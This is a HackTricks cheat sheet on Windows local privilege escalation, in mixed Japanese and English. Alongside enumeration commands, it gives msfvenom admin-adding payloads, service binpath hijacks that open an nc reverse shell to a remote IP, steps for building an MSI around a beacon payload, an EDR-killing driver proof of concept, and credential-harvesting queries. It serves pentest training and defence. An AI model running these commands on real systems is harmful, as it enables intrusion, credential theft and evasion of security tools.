Windows Local Privilege Escalation
Reading time: 85 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Best tool to look for Windows local privilege escalation vectors: WinPEAS
初期 Windows 理論
Access Tokens
Windows Access Tokens が何かわからない場合は、先に次のページを読んでください:
ACLs - DACLs/SACLs/ACEs
ACLs - DACLs/SACLs/ACEs の詳細は次のページを参照してください:
Integrity Levels
Windows における Integrity Levels がわからない場合は、先に次のページを読んでください:
Windows Security Controls
Windows には、システムの列挙を阻止したり、実行ファイルの実行を防いだり、さらにはあなたの活動を検知したりする様々な仕組みがあります。privilege escalation enumeration を開始する前に、次のページを読み、これらの防御メカニズムをすべて列挙してください:
システム情報
バージョン情報の列挙
Windows のバージョンに既知の脆弱性がないか確認してください(適用されているパッチも確認すること)。
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
バージョン Exploits
This site is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the 巨大な attack surface that a Windows environment presents.
システム上で
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeasにはwatsonが組み込まれている)
システム情報を用いてローカルで
Github の exploits リポジトリ:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
環境
env variables に credential/Juicy info が保存されていますか?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell の履歴
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShellのトランスクリプトファイル
有効にする方法は https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ で確認できます。
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
PowerShell のパイプライン実行の詳細が記録され、実行されたコマンド、コマンド呼び出し、およびスクリプトの一部が含まれます。ただし、実行の完全な詳細や出力結果がすべて取得されるとは限りません。
これを有効にするには、ドキュメントの "Transcript files" セクションの指示に従い、"Module Logging" を選択して "Powershell Transcription" の代わりに設定してください。
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
PowersShell ログの最新15件のイベントを表示するには、次を実行できます:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
スクリプトの実行に関する完全なアクティビティおよび全内容の記録が取得され、各コードブロックが実行時に記録されることが保証されます。このプロセスは各操作の包括的な監査証跡を保持し、フォレンジックや悪意ある挙動の解析に有用です。実行時にすべての活動を記録することで、プロセスに関する詳細な洞察が得られます。
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Script Block のログイベントは、Windows Event Viewer の次のパスにあります: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
最後の20件のイベントを表示するには、次を使用できます:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
インターネット設定
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
ドライブ
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
更新が httpS ではなく http を使用して要求されている場合、システムを侵害できる可能性があります。
まず、ネットワークが非SSLの WSUS アップデートを使用しているかどうかを確認するため、cmd で次のコマンドを実行します:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
または、PowerShell で次のように:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
次のような返信を受け取った場合:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
そして、HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer または Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" が 1 と等しい場合。
その場合、it is exploitable. 最後のレジストリ値が 0 の場合は、WSUS エントリは無視されます。
この脆弱性を悪用するために以下のようなツールを使用できます: Wsuxploit, pyWSUS - これらは非SSL WSUS トラフィックに「偽の」アップデートを注入するために武装化された MiTM エクスプロイトスクリプトです。
Read the research here:
WSUS CVE-2020-1013
Read the complete report here.
基本的に、この脆弱性が悪用する欠陥は以下の通りです:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
この脆弱性はツール WSUSpicious を使って悪用できます(liberated された後)。
Third-Party Auto-Updaters and Agent IPC (local privesc)
多くのエンタープライズ向けエージェントは localhost の IPC インターフェースと特権付きの更新チャネルを公開しています。登録(enrollment)が攻撃者のサーバーに強制され、updater が不正なルートCA を信頼するか弱い署名チェックしか行わない場合、ローカルユーザーは SYSTEM サービスがインストールする悪意ある MSI を配布できます。一般化された手法(Netskope の stAgentSvc チェーンに基づく – CVE-2025-0309)は以下を参照してください:
KrbRelayUp
Windows の domain 環境において、特定の条件下で local privilege escalation の脆弱性が存在します。これらの条件には、LDAP signing が強制されていない環境、ユーザーが Resource-Based Constrained Delegation (RBCD) を設定できる自己権限を持っていること、そしてユーザーがドメイン内にコンピュータを作成できる能力が含まれます。これらの要件はデフォルト設定で満たされる点に注意してください。
Find the exploit in https://github.com/Dec0ne/KrbRelayUp
詳細な攻撃フローについては次を参照してください: https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
If これら 2 つのレジストリ値が enabled(値が 0x1)であれば、任意の権限を持つユーザーが *.msi ファイルを NT AUTHORITY\SYSTEM として install(実行)できます。
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
meterpreter セッションがある場合、この手法はモジュール exploit/windows/local/always_install_elevated を使用して自動化できます。
PowerUP
PowerUP の Write-UserAddMSI コマンドを使用して、現在のディレクトリ内に権限昇格用の Windows MSI バイナリを作成します。このスクリプトは事前にコンパイルされた MSI インストーラを出力し、ユーザー/グループ追加を促します(so you will need GIU access):
Write-UserAddMSI
作成したバイナリを実行するだけで権限を昇格できます。
MSI Wrapper
このチュートリアルを読んで、これらのツールを使ってMSIラッパーを作成する方法を学んでください。なお、.bat ファイルは、単に コマンドラインを 実行したい場合にラップできます。
Create MSI with WIX
Create MSI with Visual Studio
- Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in
C:\privesc\beacon.exe - Open Visual Studio, select Create a new project and type "installer" into the search box. Select the Setup Wizard project and click Next.
- Give the project a name, like AlwaysPrivesc, use
C:\privescfor the location, select place solution and project in the same directory, and click Create. - Keep clicking Next until you get to step 3 of 4 (choose files to include). Click Add and select the Beacon payload you just generated. Then click Finish.
- Highlight the AlwaysPrivesc project in the Solution Explorer and in the Properties, change TargetPlatform from x86 to x64.
- There are other properties you can change, such as the Author and Manufacturer which can make the installed app look more legitimate.
- Right-click the project and select View > Custom Actions.
- Right-click Install and select Add Custom Action.
- Double-click on Application Folder, select your beacon.exe file and click OK. This will ensure that the beacon payload is executed as soon as the installer is run.
- Under the Custom Action Properties, change Run64Bit to True.
- Finally, build it.
- If the warning
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'is shown, make sure you set the platform to x64.
MSI Installation
悪意のある .msi ファイルのインストールをバックグラウンドで実行するには:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
この脆弱性を悪用するには、次を使用できます: exploit/windows/local/always_install_elevated
アンチウイルスと検出
監査設定
これらの設定は何がloggedされるかを決めるので、注意してください。
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwardingでは、logs がどこに送られているかを把握しておくと良いです
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS は、ドメインに参加しているコンピュータ上のローカル管理者パスワードの管理を目的としており、各パスワードが一意でランダム化され、定期的に更新されることを保証します。これらのパスワードは Active Directory に安全に保存され、ACLs を通じて十分な権限が付与されたユーザーのみが、権限がある場合にローカル管理者パスワードを参照できます。
WDigest
有効な場合、プレーンテキストのパスワードが LSASS に格納されます (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Windows 8.1以降、Microsoft は Local Security Authority (LSA) の保護を強化し、信頼されていないプロセスによる LSA のメモリの読み取りやコードの注入をブロックする試みを阻止して、システムをさらに保護しました。
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard は Windows 10 で導入されました。これは、デバイスに保存されている資格情報を pass-the-hash 攻撃のような脅威から保護することを目的としています。| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials は Local Security Authority (LSA) によって認証され、オペレーティングシステムのコンポーネントによって利用されます。
ユーザーのログオン情報が登録されたセキュリティパッケージによって認証されると、通常そのユーザーの domain credentials が確立されます。
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
ユーザーとグループ
ユーザーとグループの列挙
自分が所属するグループに、興味深い権限が設定されていないか確認してください。
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
特権グループ
もしあなたがいくつかの特権グループに属している場合、権限を昇格できる可能性があります。特権グループと、それらを悪用して権限を昇格する方法については、こちらを参照してください:
Tokenの操作
詳しくはこのページでtokenが何かを確認してください: Windows Tokens.
以下のページで、興味深いtokenについて学び、それらを悪用する方法を確認してください:
ログオンユーザー / セッション
qwinsta
klist sessions
ホームフォルダ
dir C:\Users
Get-ChildItem C:\Users
パスワードポリシー
net accounts
クリップボードの内容を取得する
powershell -command "Get-Clipboard"
実行中のプロセス
ファイルとフォルダの権限
まず、プロセスを列挙して、コマンドライン内にパスワードが含まれていないか確認する。
実行中のバイナリを上書きできないか、またはバイナリフォルダへの書き込み権限があるかを確認し、潜在的な DLL Hijacking attacks を悪用できないか調べる:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
常にelectron/cef/chromium debuggers が実行されていないか確認してください。権限昇格に悪用できる可能性があります.
プロセスのバイナリのパーミッションを確認する
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
プロセスのバイナリのフォルダの権限を確認する (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
実行中のプロセスのメモリダンプは sysinternals の procdump を使って作成できます。FTP のようなサービスはメモリ内に credentials が平文で存在していることがあるので、メモリをダンプして credentials を読み取ってみてください。
procdump.exe -accepteula -ma <proc_name_tasklist>
安全でない GUI アプリ
SYSTEM として実行されるアプリは、ユーザーが CMD を起動したり、ディレクトリを参照したりできる場合があります。
例: "Windows Help and Support" (Windows + F1)、"command prompt" を検索して、"Click to open Command Prompt" をクリック
サービス
Service Triggers は、特定の条件が発生したときに Windows がサービスを起動できるようにします(named pipe/RPC endpoint activity、ETW events、IP availability、device arrival、GPO refresh、など)。SERVICE_START 権限がなくても、トリガーを発動することで特権サービスを起動できることがよくあります。列挙と起動の手法はここを参照してください:
サービスの一覧を取得する:
net start
wmic service list brief
sc query
Get-Service
権限
サービスの情報を取得するには sc を使用できます。
sc qc <service_name>
各サービスの必要な特権レベルを確認するために、Sysinternals のバイナリ accesschk を用意しておくことを推奨します。
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
「Authenticated Users」が任意のサービスを変更できるか確認することを推奨します:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
サービスを有効にする
もし次のエラーが発生している場合(例: SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
次のコマンドで有効にできます
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
サービス upnphost は動作するために SSDPSRV に依存していることを考慮してください(XP SP1 の場合)
別の回避策 は次のコマンドを実行することです:
sc.exe config usosvc start= auto
Modify service binary path
サービスで "Authenticated users" グループが SERVICE_ALL_ACCESS を所有している場合、サービスの実行バイナリを変更できます。sc を使って変更および実行するには:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
サービスの再起動
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Privileges can be escalated through various permissions:
- SERVICE_CHANGE_CONFIG: サービスのバイナリを再構成することを許可します。
- WRITE_DAC: アクセス許可の再設定を可能にし、結果としてサービス構成を変更できるようになります。
- WRITE_OWNER: 所有権の取得とアクセス許可の再設定を許可します。
- GENERIC_WRITE: サービス構成を変更する権限を含みます。
- GENERIC_ALL: 同様にサービス構成を変更する権限を含みます。
For the detection and exploitation of this vulnerability, the exploit/windows/local/service_permissions can be utilized.
サービスバイナリの脆弱な権限
サービスによって実行されるバイナリを変更できるか確認してください または、バイナリが配置されているフォルダに書き込み権限があるか確認してください(DLL Hijacking).\
サービスによって実行されるすべてのバイナリは wmic を使用して取得でき(system32 にはありません)、icacls を使用して権限を確認できます:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
また sc と icacls を使用することもできます:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
サービスレジストリの変更権限
サービスレジストリを変更できるか確認してください.\
次のようにしてサービスレジストリに対するあなたの権限を確認できます:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Authenticated Users または NT AUTHORITY\INTERACTIVE が FullControl 権限を持っているかを確認する必要があります。もしそうであれば、サービスによって実行されるバイナリを変更することができます。
実行されるバイナリのパスを変更するには:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
サービスレジストリ AppendData/AddSubdirectory 権限
もしあるレジストリに対してこの権限を持っている場合、それはそのレジストリからサブレジストリを作成できることを意味します。Windows services の場合、これは任意のコードを実行するのに十分です:
AppendData/AddSubdirectory permission over service registry
引用符のないサービスパス
実行ファイルへのパスが引用符で囲まれていない場合、Windows はスペースの前までの各区切りを順に実行しようとします。
例えば、パス C:\Program Files\Some Folder\Service.exe の場合、Windows は次の順で実行しようとします:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
組み込みの Windows サービスに属するものを除き、引用符で囲まれていないサービスパスをすべて列挙する:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
この脆弱性を検出および悪用できます metasploitを使用して: exploit/windows/local/trusted\_service\_path
metasploitで手動でサービスバイナリを作成できます:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
回復アクション
Windowsでは、サービスが失敗した場合に実行されるアクションをユーザーが指定できます。この機能はバイナリを指すように設定でき、もしこのバイナリが置き換え可能であれば、privilege escalation が可能になることがあります。詳細はofficial documentationを参照してください。
アプリケーション
インストール済みアプリケーション
バイナリの権限を確認してください(上書きしてprivilege escalationできるかもしれません)およびフォルダの権限も確認してください(DLL Hijacking)。
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
書き込み権限
config file を変更して特定のファイルを読み取れるか、または Administrator account (schedtasks) によって実行される binary を変更できるか確認してください。
システム内の弱いフォルダ/ファイルの権限を見つける方法の一つは次のとおりです:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
起動時に実行
別のユーザーによって実行される registry または binary を上書きできるか確認してください。
参照して、以下のページ で興味深い autoruns locations to escalate privileges について詳しく学んでください:
Privilege Escalation with Autoruns
ドライバ
可能性のある third party weird/vulnerable drivers を探してください
driverquery
driverquery.exe /fo table
driverquery /SI
If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here:
Arbitrary Kernel Rw Token Theft
デバイスオブジェクトで FILE_DEVICE_SECURE_OPEN が設定されていない場合の悪用 (LPE + EDR kill)
署名されたサードパーティ製ドライバの一部は、IoCreateDeviceSecure を使って強力な SDDL でデバイスオブジェクトを作成するが、DeviceCharacteristics に FILE_DEVICE_SECURE_OPEN を設定し忘れることがある。このフラグがないと、追加コンポーネントを含むパスからデバイスを開いた場合にセキュアな DACL が適用されず、権限のない任意のユーザが次のような名前空間パスを使ってハンドルを取得できてしまう:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (from a real-world case)
ユーザがデバイスを開けるようになると、ドライバが公開する特権的な IOCTL を悪用して LPE や改ざんが可能になる。実際に観測された例:
- 任意プロセスへフルアクセスのハンドルを返す(token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser)。
- Unrestricted raw disk read/write(オフライン改ざん、ブート時永続化トリック)。
- Protected Process/Light (PP/PPL) を含む任意プロセスの終了が可能になり、カーネル経由でユーザランドから AV/EDR を停止できるようになる。
Minimal PoC pattern (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Mitigations for developers
- デバイスオブジェクトをDACLで制限する意図がある場合、FILE_DEVICE_SECURE_OPENを常に設定する。
- 特権操作に対して呼び出し元のコンテキストを検証する。プロセス終了やハンドル返却を許可する前にPP/PPLチェックを追加する。
- IOCTLsを制限する(access masks、METHOD_*, 入力検証)および直接的なカーネル権限の代わりにbrokered modelsを検討する。
Detection ideas for defenders
- 怪しいデバイス名(例: \ .\amsdk*)のユーザーモードでのオープンや、悪用を示す特定のIOCTLシーケンスを監視する。
- Microsoftのvulnerable driver blocklist(HVCI/WDAC/Smart App Control)を適用し、独自のallow/denyリストを維持する。
PATH DLL Hijacking
If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.
Check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
このチェックを悪用する方法の詳細については:
Writable Sys Path +Dll Hijacking Privesc
ネットワーク
共有
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
hosts file にハードコードされた他の既知のコンピュータがないか確認する。
type C:\Windows\System32\drivers\etc\hosts
ネットワークインターフェース & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
開いているポート
外部から制限されたサービスがないか確認する
netstat -ano #Opened ports?
ルーティングテーブル
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP テーブル
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
ファイアウォールのルール
Check this page for Firewall related commands (ルールの一覧、ルールの作成、オフにする、オフにする...)
さらに commands for network enumeration here
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
バイナリ bash.exe は C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe にもあります。
root user を取得すると任意のポートでリッスンできます(nc.exe を初めてポートでリッスンさせると、GUIで nc をファイアウォールで許可するか確認されます)。
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
bashをrootとして簡単に起動するには、--default-user root を試してください。
WSL のファイルシステムはフォルダ C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ で参照できます。
Windows 資格情報
Winlogon 資格情報
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
クレデンシャルマネージャ / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault は、サーバー、ウェブサイト、その他のプログラム用のユーザー資格情報を保存します。これらは Windows が ユーザーに自動でログインできる。一見すると、ユーザーが Facebook、Twitter、Gmail などの資格情報を保存し、ブラウザ経由で自動的にログインできるように見えるかもしれません。しかし、そうではありません。
Windows Vault は、Windows が自動でログインできる資格情報を保存します。つまり、リソースにアクセスするために資格情報を必要とする任意の Windows がリソースにアクセスするために資格情報を必要とするアプリケーション(サーバーやウェブサイト)は、この Credential Manager を利用できる & Windows Vault を使って、ユーザーが毎回ユーザー名とパスワードを入力する代わりに保存された資格情報を使用できます。
